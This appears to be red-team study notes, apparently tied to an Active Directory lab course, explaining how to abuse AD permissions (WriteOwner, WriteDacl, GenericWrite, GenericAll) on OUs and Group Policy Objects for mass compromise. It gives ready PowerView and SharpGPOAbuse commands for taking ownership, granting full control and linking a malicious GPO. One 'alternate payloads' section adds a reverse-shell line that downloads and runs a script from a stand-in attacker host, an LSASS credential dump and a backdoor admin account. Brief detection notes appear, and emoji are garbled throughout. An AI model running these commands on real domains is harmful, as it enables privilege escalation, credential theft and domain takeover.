Set-DomainObjectOwner -Identity "OU=IT,DC=domain,DC=local"-OwnerIdentityattacker
Step 2 โ Full control
Add-DomainObjectAcl-TargetIdentity"OU=IT,DC=domain,DC=local"-PrincipalIdentityattacker-RightsAll
Step 3 โ Push inherited control
Add-DomainObjectAcl `
-TargetIdentity"OU=IT,DC=domain,DC=local" `
-PrincipalIdentityattacker `
-RightsAll `
-InheritanceTypeDescendents `
-TargetTypeUser
๐ฏ Result
๐ Control over:
Users
Computers inside OU
๐ฅ Follow-up attacks
Reset passwords
RBCD on computers
Group abuse
โ Conditions
WriteOwner on OU
Inheritance enabled on child objects
๐ฅ 7. Summary Table
๐ง 8. Key Differences vs GenericAll
๐ง 9. One-line Takeaway
๐ WriteOwner is a privilege escalation primitive โ not direct control, but a stepping stone to full compromise.
OU Abuse
INHERITANCE CHAIN:
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ EXPLICIT PERMISSIONS ON OU โ
โ (What you directly assign to OU) โ
โโโโโโโโโโโโโโโโโโโโฌโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ
โโ Apply to OU itself
โ
โโ INHERIT DOWN (unless blocked)
โ โโ Child OUs
โ โโ Computers
โ โโ Users
โ โโ Groups
โ โโ Other objects
โ
โโ Inheritance Type:
โโ "This object and all descendant objects"
โ (DEFAULT - most permissive)
โ
โโ "This object only"
โ (NO inheritance)
โ
โโ "All descendant objects"
(Child objects only, not OU itself)
Key Rule: Unless an OU has โProtect from inheritanceโ enabled, ALL permissions granted on parent OU flow down to children automatically.
GENERIC RIGHTS
1A. GenericAll (Full Control)
OU-Level Permission:
Grants: All operations on the OU object itself
- Read all properties
- Modify all properties
- Delete the OU
- Change permissions
- Change owner
- Create child objects
Inheritance to Child Objects:
โ YES - ALL children inherit GenericAll
โโ Computers โ Can reset passwords, modify all properties
โโ Users โ Can reset passwords, modify all properties
โโ Groups โ Can modify membership, properties
โโ Child OUs โ Full control of child OUs recursively
Affected Objects:
โ All users in OU and child OUs
โ All computers in OU and child OUs
โ All groups in OU and child OUs
โ All child OUs (recursively)
1B. GenericRead
OU-Level Permission:
Grants: Read all properties on OU
- Cannot modify
- Cannot delete
- Cannot create
Inheritance to Child Objects:
โ YES - Children inherit read rights
โโ Can read all properties of users/computers/groups
โโ Can enumerate OU contents
โโ Cannot modify anything
Affected Objects:
โ Can read all user properties
โ Can read all computer properties
โ Can read all group properties
โ Can enumerate memberships
2. PROPERTY-SPECIFIC WRITE RIGHTS
2A. GenericWrite
OU-Level Permission:
Grants: Write all non-schema properties
- Modify all non-system attributes
- Cannot reset passwords directly
- Cannot modify permissions (needs WriteDacl)
Inheritance to Child Objects:
โ YES - ALL children inherit GenericWrite
โโ Users โ Modify scriptPath, homeDirectory, etc.
โโ Computers โ Modify delegated rights, DNS names
โโ Groups โ Modify descriptions, managedBy
โโ Child OUs โ Modify properties
Affected Objects:
โ All users in OU
โ All computers in OU
โ All groups in OU
โ All child OUs
2B. WriteProperty (Specific Attribute)
OU-Level Permission:
Grants: Write to specific attributes only (e.g., mail, telephone)
- Very granular permission
- Inheritance depends on what property
Inheritance to Child Objects:
โ YES - Inheritance applies to the specific property
โโ Can write that property on all children
โโ Cannot write other properties
โโ If property is "scriptPath" โ RCE
3. DEFERENTIAL RIGHTS (Change Control & Ownership)
3A. WriteDacl (Modify Permissions)
OU-Level Permission:
Grants: Modify the ACL on the OU
- Add/remove permissions
- Grant yourself Full Control
- Grant others permissions
Inheritance to Child Objects:
โ YES - Can modify ACLs on all children
โโ Users โ Grant yourself Reset Password right
โโ Computers โ Grant yourself Full Control
โโ Groups โ Grant yourself modify right
โโ Child OUs โ Modify their ACLs recursively
Affected Objects:
โ All users (grant yourself reset password)
โ All computers (grant yourself full control)
โ All groups (grant yourself modify membership)
โ All child OUs (recursive ACL modification)
3B. WriteOwner (Change Owner)
OU-Level Permission:
Grants: Change the owner of the OU
- Owner has implicit Full Control
- Change owner to yourself โ Full Control
Inheritance to Child Objects:
โ YES - Can change owner of all children
โโ Users โ Become owner โ Full Control
โโ Computers โ Become owner โ Full Control
โโ Groups โ Become owner โ Full Control
โโ Child OUs โ Become owner โ Full Control recursively
Affected Objects:
โ All users in OU
โ All computers in OU
โ All groups in OU
โ All child OUs
4. OBJECT CREATION & DELETION RIGHTS
4A. CreateChild
OU-Level Permission:
Grants: Create child objects in the OU
- Can create users, computers, groups
- Cannot modify existing objects
Inheritance to Child Objects:
โ YES (in a specific way) - Can create children inside child OUs
โโ OU level: Can create objects in this OU
โโ Child OUs: Can create objects inside child OUs
โโ Inheritance type: "This object and all descendant objects"
Affected Objects:
โ Can create anywhere in OU and child OUs
โ Creates can be given arbitrary properties/memberships
โ No restrictions on what you create
5. EXTENDED RIGHTS (Special Capabilities)
5A. ExtendedRight - Reset Password
OU-Level Permission:
Grants: Reset passwords for all users in OU
- Can set new password
- User doesn't need to know old password
- Requires explicit Extended Right GUID
GUID: 00299570-246d-11d0-a768-00aa006e0529
Inheritance to Child Objects:
โ YES - Can reset passwords on all children
โโ Users in OU โ Password reset
โโ Users in child OUs โ Password reset
โโ Non-inherited: Doesn't apply to computers/groups
Affected Objects:
โ All users in OU and child OUs
โ Does NOT affect computers or groups directly
5B. ExtendedRight - Force Change Password
OU-Level Permission:
Grants: Force user to change password at next logon
- User can't use account until password changed
- Attacker doesn't know the new password
- Used for DoS or forcing re-authentication
GUID: 00299570-246d-11d0-a768-00aa006e0529 (combined with Reset)
5C. ExtendedRight - SendTo
OU-Level Permission:
Grants: Send messages to the object (Exchange-related)
- Rarely used in pure AD
- More relevant in Exchange environments
5D. ExtendedRight - Add/Remove Self as Member
OU-Level Permission:
Grants: Add yourself to groups in OU
- Can self-add to any group
GenericAll / Write on OU
๐ง 1. What GenericWrite on OU Actually Means
๐ GenericWrite = Attribute-level control
You cannot fully control the OU
But you can modify specific attributes of the OU
๐ One critical attribute:
gPLink
GPO
โโโ GPC (AD Object)
โโโ GPT (SYSVOL Files)
๐ง 2. What is gPLink?
๐ Definition
gPLink = attribute that defines which GPOs are linked to an OU
OU doesnโt directly enforce policies
It links to GPOs, and those GPOs apply to:
- Users inside OU
- Computers inside OU
๐ง Mental Model
OU โ (gPLink) โ GPO โ Applies to โ Users & Computers
๐ So if you control gPLink, you control what policies apply
๐ฅ 3. Why GenericWrite on OU is Dangerous
Even without full control:
๐ If you can modify gPLink
โ You can attach a malicious GPO
โ That GPO executes actions on all child objects
๐ป ๐งช Scenario: GenericWrite on OU โ gPLink Abuse
๐ฏ Lab Setup
Attacker user:
attackerTarget OU:
OU=IT,DC=domain,DC=localInside OU:
- Users:
john,admin1 - Computers:
IT-PC01
- Users:
๐ You have:
GenericWrite โ OU=IT
๐ง Attack Goal
Abuse gPLink โ Link malicious GPO โ Execute code on all OU machines
โ๏ธ Step 1: Verify Access (BloodHound / PowerView)
PowerView check:
Get-ObjectAcl -Identity "OU=IT,DC=domain,DC=local" -ResolveGUIDs
๐ Output (snippet):
IdentityReference : DOMAIN\attacker
ActiveDirectoryRights : GenericWrite
ObjectDN : OU=IT,DC=domain,DC=local
โ
Confirms you can modify OU attributes (including gPLink)
โ๏ธ Step 2: Create Malicious GPO
New-GPO -Name "evilGPO"
โ Output:
DisplayName : evilGPO
Id : 6f3c1b44-9d8e-4b1c-92c2-123456789abc
GpoStatus : AllSettingsEnabled
โ๏ธ Step 3: Modify GPO to Execute Payload
Example: Add startup script
Set -GPStartupScript -Name "evilGPO" -ScriptName "shell.bat" -ScriptParameters""
Example payload (shell.bat)
net localgroup administrators attacker /add
๐ Effect:
- Any machine in OU โ attacker becomes local admin
โ๏ธ Step 4: Link GPO to OU (gPLink Abuse)
New-GPLink -Name "evilGPO" -Target "OU=IT,DC=domain,DC=local"
๐ What happens internally:
gPLink attribute updated:
[LDAP://CN={GPO-GUID},CN=Policies,CN=System,...]
โ๏ธ Step 5: Wait for Policy Application
Force update (if you have access):
gpupdate/force
๐ฅ๏ธ On victim machine:
whoami /groups
โ Output:
BUILTIN\Administrators
DOMAIN\attacker
๐ฅ You are now local admin on all machines in OU
๐ฅ Alternate Payloads
๐ฏ 1. Reverse Shell
powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://attacker/shell.ps1')"
๐ฏ 2. Dump Credentials
rundll32.exe C:\windows\system32\comsvcs.dll, MiniDump <lsass_pid> C:\temp\lsass.dmp full
๐ฏ 3. Persistence
net user backdoor Pass@123 /add
net localgroup administrators backdoor /add
๐ Step 6: Domain Escalation Path
Once you get local admin:
Local Admin โ Dump creds โ Lateral movement โ Domain Admin
๐ง Real Attack Chain
GenericWrite (OU)
โ
Modify gPLink
โ
Link malicious GPO
โ
Code execution on machines
โ
Local admin access
โ
Credential dump
โ
Domain compromise
๐จ Detection Example
๐ Event ID 5136 (Directory Change)
Attribute Modified: gPLink
Object: OU=IT,DC=domain,DC=local
๐ GPO Link Event
New GPO linked: evilGPO
Target: OU=IT
๐ Endpoint Alert
- Multiple machines executing:
net localgroup administrators attacker /add
๐ง Key Takeaway
You didnโt exploit machines directly.
You modified policy โ
Policy executed for you โ
Machines compromised themselves.
๐ฅ Clean One-Liner
GenericWrite on OU โ control gPLink โ push malicious GPO โ mass compromise
GPO Abuse
Understanding The Core Concept
๐ Group Policy in Active Directory (AD)
In a Windows domain environment, Group Policy is a framework for centralized management and configuration of operating systems, applications, and user settings.
Instead of having to manually configure each machine or user account, you define settings once, and AD pushes them out automatically.
Think of it like a remote control panel for every domain-joined computer and user in your organization.
2. Scope of Group Policy
Group Policy settings apply either to computers or to users โ but not both at the same time for a single policy setting.
๐ When a computer starts up, computer policies apply.
When a user logs in, user policies apply.
3. What is a GPO (Group Policy Object)?
A GPO is the container for all these policy settings.
GPO stands for Group Policy Object.
Itโs a set of rules and configurations in Active Directory that control how users and computers behave in a Windows domain.
Think of it like a file that holds a bunch of rules.
Example:
- A GPO named โPassword Policyโ might include:
- Minimum password length = 12
- Password must include numbers and symbols
Where GPOs Live:
- Two parts:
- Group Policy Container (GPC) โ stored in Active Directory
- Holds metadata: version numbers, GPO links, security filtering.
- Group Policy Template (GPT) โ stored in SYSVOL (shared folder on Domain Controllers)
- Holds the actual settings files: registry.pol, scripts, ADM templates, etc.
- Group Policy Container (GPC) โ stored in Active Directory
In above image APPLOCKER is the GPO
What Can a GPO Do?
Configure security policies (e.g., password length, lockout time).
Deploy software automatically.
Run scripts on logon/logoff/startup/shutdown.
Restrict access to system tools.
Configure firewall, RDP, and service settings.
Inshort:
Group Policy = the concept (rules)
GPO = the object (container holding those rules)
4. Linking GPOs
You can link a GPO to three main AD container levels:
Domain โ affects all users/computers in the domain.
Site โ affects all users/computers in a physical site.
Organizational Unit (OU) โ affects only those in that OU (and sub-OUs).
Example:
- If you link a GPO to
Sales OU, only the Sales department users/computers get those policies.
5. Organizational Units (OUs)
OUs (Organizational Units) are containers within a domain used to organize users, computers, and groups.
An OU is the lowest-level container where you can apply GPOs.
They are also used for delegating administration โ you can allow certain IT staff to manage only a specific OU (e.g., only โHR Departmentโ computers).
This helps split responsibilities and prevent one admin from having full domain control.
Note:- all student user account are in the default โUsersโ container of the DOLLARCORP.MONEYCORP.LOCAL domain, not in an Organizational Unit (OU).
You only get GPOs that are linked to the domain or site. OU-specific policies wonโt affect you because you are in the default Users container and you are not part of any OU.
6. Security Implications โ Why GPOs Matter in Attacks
Legit use: They centralize management โ admins can roll out changes to hundreds or thousands of machines in seconds.
Misconfigured GPOs are a goldmine for attackers because:
If a user can modify a GPO linked to systems they donโt own โ they can push malicious settings.
GPOs can run scripts automatically โ an attacker can drop a startup script to execute malware on many systems at once.
Attackers can modify security settings (e.g., add themselves to โLocal Administratorsโ group) through GPO.
They can be used for persistence (stay hidden even after account resets).
Common Attack Scenarios
๐กIn short:
GPOs are Active Directoryโs remote control for configuring and enforcing policies on domain-joined systems. Great for admins, terrifying when misused.
โ In short:
Group Policy = Centralized configuration system for AD environments.
GPO = A package of policy settings, permissions, and scope.
OU = The smallest AD container for applying GPOs and delegating admin rights.
Security risk = If permissions are too open, GPOs can be abused for privesc, persistence, and mass compromise.
๐๏ธ How Group Policy Works
Admins create/edit GPOs (Group Policy Objects) using Group Policy Management Console (GPMC).
Edit the GPO and configure desired settings (user policies, computer policies).
Link/apply the GPO to a site, domain, or OU (Organizational Units) where the target users/computers reside.
The Group Policy Client on each computer downloads and applies the policies periodically (every 90 minutes by default).
You can force it using
gpupdate /force.
Real-World Use Case in AD Environment
Company wants to enforce password complexity โ set it in a domain GPO.
Disable access to USB ports for all interns โ apply a GPO to the โInterns OUโ.
Map a shared drive (Z:) for all users โ set it in User Configuration > Preferences > Drive Maps.
โ ๏ธ Group Policy as an Attack Vector
GPOs can be abused by attackers for:
Privilege Escalation โ Add accounts to privileged groups via GPO.
Persistence โ Use logon/startup scripts to run backdoors or malware.
Backdoors โ Push malicious scheduled tasks or tools across endpoints.
Security Bypass โ Disable antivirus, firewall, or auditing logs.
๐ง Example: An attacker with GPO edit access adds a PowerShell payload to a logon script, compromising all systems in the targeted OU.
Note:- Using the command line tool from powerview you can list group policies, but you cannot list the settings
Get list of GPO in current domain.
Get-DomainGPO
Lists all Group Policy Objects (GPOs) in the current domain.
Filter the output to only shows the Group Policy Objects name:
Get-DomainGPO | select DisplayName
you can only view the GPO name but cannot view the policies being applied by each GPO, eg: you cannot view the policies applied by applocker
Note: - Tools like GP result or RSOP can only show group policy of current machine and not of remote machine
Get a Specific GPOโs Details:
Get-DomainGPO -Identity "DevOps Policy"
Output (example):
displayname : DevOps Policy
gpcfilesyspath : \\corp.local\SysVol\corp.local\Policies\{0BF8D01C-1F62-4BDC-958C-57140B67D147}
objectguid : 0bf8d01c-1f62-4bdc-958c-57140b67d147
whencreated : 7/01/2025 02:34:56 PM
whenchanged : 8/05/2025 09:15:12 AM
versionnumber : 12
distinguishedname : CN={0BF8D01C-1F62-4BDC-958C-57140B67D147},CN=Policies,CN=System,DC=corp,DC=local
gpcfilesyspathis the path where the GPOโs settings files live โ critical for GPOddity abuse.distinguishednameis the LDAP path for AD metadata.
Get-DomainGPO -ComputerIdentity dcorp-student1 โ **Shows only the GPOs that apply to a specific computer, such as dcorp-student1.
Get GPO(s) which use Restricted Groups or groups.xml for interesting users:
**Get-DomainGPOLocalGroup** **
This command finds Group Policy Objects (GPOs) that modify local group memberships, such as adding users to the local Administrators on domain-joined machines.
It specifically looks for:
Restricted Groups
Groups.xml (used by Group Policy Preferences)
These are methods used by admins (and sometimes attackers) to add or remove users/groups from local groups, especially local Administrators.
Why It Matters (Red Team Perspective):
An attacker with write access to a GPO can use it to:
Add themselves (or another user) to the Administrators group on all systems where the GPO is applied.
Achieve stealthy privilege escalation or persistence without touching the machine directly.
Example:
There is an Organizational Unit (OU) named
Workstation, which contains 100 domain-joined devices.Due to security compliance, enabling or managing local Administrator accounts manually on each of the 100 devices is not feasible or allowed.
So, a new Group Policy Object (GPO) is created called
Workstation-Admin.This GPO uses Restricted Groups to:
- Modify the local Administrators group on all devices in the
WorkstationOU. - Add a specific domain group, e.g.,
CORP\WorkstationAdminGroup, to the Administrators group on each workstation.
- Modify the local Administrators group on all devices in the
This GPO is linked to the Workstation OU, which means it will be enforced on all 100 devices within the OU.
As a result, any user added to
CORP\WorkstationAdminGroupwill now have local admin rights on all 100 systems.
Domain Enumeration - GPO
- Get users which are in a local group of a machine using GPO:
Get-DomainGPOComputerLocalGroupMapping -ComputerIdentity dcorp-student1
This command checks which users or groups are being added to the local groups (like Administrators) on a specific machine (dcorp-student1) via Group Policy.
๐ How it works:
It analyzes GPOs applied to the target machine.
Especially looks at GPOs that use Restricted Groups or Groups.xml to assign users to local groups.
Shows what local group modifications are happening through GPOs (not manually set).
- Get machines where the given user is member of a specific group:
Get-DomainGPOUserLocalGroupMapping -Identity student1 -Verbose
โ Purpose:
This command finds which machines a specific user (e.g., student1) is being added to local groups on, through Group Policy.
๐ How it works:
It maps GPOs that add the specified user to local groups on various computers.
Helps track where this user has elevated permissions via GPO.
๐ Use case:
You want to find out:
๐ โOn which machines does student1 get local admin or group access via GPO?โ
๐ Why This Is Important for Red Teaming:
These mappings often reveal privileged access across systems.
If a GPO adds a user to the local Administrators group on 100 machines, that GPO (or the user) is an attractive lateral movement or privilege escalation target.
Attackers can look for misconfigured or overly permissive GPOs that give unintended admin rights.
Abuse Logic
๐ What Rights Are Needed for GPO Abuse?
To abuse a GPO, you need write-level control over it.
โ Common Abusable Rights
๐ฅ SCENARIO 1 โ GenericAll (DIRECT CONTROL)
๐ฏ Situation
You are:
domain\user1
BloodHound shows:
user1 โ GenericAll โ "Workstation GPO"
๐ฃ What You Do
๐ You already have full control โ no setup needed
Run:
SharpGPOAbuse.exe --AddComputerScript \
--ScriptName addadmin.bat \
--ScriptContents "net localgroup administrators user1 /add" \
--GPOName "Workstation GPO"
โ๏ธ What Happens Internally
- Script gets added in:
\\domain\SYSVOL\Policies\{GPO_GUID}\Machine\Scripts\Startup\
- GPO is updated to execute it
๐ Result
After GPO refresh:
user1 becomes LOCAL ADMIN on all machines in that GPO
๐ง Key Understanding
๐ You directly changed the GPO โ instant abuse
๐ฅ SCENARIO 2 โ GenericWrite (MODIFY SETTINGS)
๐ฏ Situation
user1 โ GenericWrite โ "Workstation GPO"
โ ๏ธ Important Difference
๐ You can modify GPO settings, but not full control like GenericAll
๐ฃ What You Do
Step 1 โ Add script reference in GPO
You modify GPO attribute to say:
Run this script at startup โ evil.bat
Step 2 โ Place your script in SYSVOL
echo net localgroup administrators user1 /add > evil.bat
Put it in:
\\domain\SYSVOL\Policies\{GPO_GUID}\Machine\Scripts\Startup\
โ๏ธ What Happens
GPO now points to your script
Machines execute it
๐ Result
Same:
user1 โ local admin everywhere
๐ง Key Difference
๐ You didnโt fully control GPO
๐ You modified its behavior
๐ฅ SCENARIO 3 โ WriteDACL (PERMISSION ESCALATION)
๐ฏ Situation
user1 โ WriteDACL โ "Workstation GPO"
๐ง What This Means
๐ You CANNOT modify GPO yet
But you CAN:
Change who has permissions
๐ฃ What You Do
Step 1 โ Give yourself full control
Add-DomainObjectAcl -TargetIdentity "Workstation GPO" \
-PrincipalIdentity user1 \
-Rights All
Step 2 โ Now you have:
user1 โ GenericAll โ GPO
Step 3 โ Abuse like Scenario 1
SharpGPOAbuse.exe ...
๐ Result
Same:
Code execution โ local admin everywhere
๐ง Key Understanding
๐ WriteDACL = โI can give myself powerโ
๐ฅ SCENARIO 4 โ WriteOwner (TAKE OWNERSHIP)
๐ฏ Situation
user1 โ WriteOwner โ "Workstation GPO"
๐ง What This Means
๐ You can change:
OWNER of the GPO
๐ฃ What You Do
Step 1 โ Become owner
Set-DomainObjectOwner -Identity "Workstation GPO" \
-OwnerIdentity user1
Step 2 โ As owner โ change permissions
Add-DomainObjectAcl -TargetIdentity "Workstation GPO" \
-PrincipalIdentity user1 \
-Rights All
Step 3 โ Now you have:
GenericAll
Step 4 โ Abuse like Scenario 1
๐ Result
Same final impact
๐ง Key Understanding
๐ Owner = ultimate control over permissions